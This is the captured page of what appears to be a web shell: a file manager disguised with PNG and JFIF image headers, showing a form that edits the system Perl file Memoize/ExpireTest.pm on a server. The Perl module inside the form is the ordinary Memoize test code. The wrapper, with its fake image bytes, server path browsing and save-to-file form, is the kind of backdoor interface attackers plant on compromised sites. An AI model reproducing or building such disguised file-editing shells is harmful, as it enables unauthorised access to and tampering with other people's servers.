�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fshare%2F'>share</a>/<a href='?path=%2Fusr%2Fshare%2Fperl5%2F'>perl5</a>/<a href='?path=%2Fusr%2Fshare%2Fperl5%2FMemoize%2F'>Memoize</a>/</p><hr><h3>✏️ Editing: ExpireTest.pm</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>package Memoize::ExpireTest;

=head1 NAME

Memoize::ExpireTest - test for Memoize expiration semantics

=head1 DESCRIPTION

This module is just for testing expiration semantics.  It's not a very
good example of how to write an expiration module.

If you are looking for an example, I recommend that you look at the
simple example in the Memoize::Expire documentation, or at the code
for Memoize::Expire itself.

If you have questions, I will be happy to answer them if you send them
to mjd-perl-memoize+@plover.com.

=cut

$VERSION = '1.03';
my %cache;

sub TIEHASH {	
  my ($pack) = @_;
  bless \%cache =&gt; $pack;
}

sub EXISTS {
  my ($cache, $key) = @_;
  exists $cache-&gt;{$key} ? 1 : 0;
}

sub FETCH {
  my ($cache, $key) = @_;
  $cache-&gt;{$key};
}

sub STORE {
  my ($cache, $key, $val) = @_;
  $cache-&gt;{$key} = $val;
}

sub expire {
  my ($key) = @_;
  delete $cache{$key};
}

1;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fshare%2Fperl5%2FMemoize'>🔙 Back</a></p>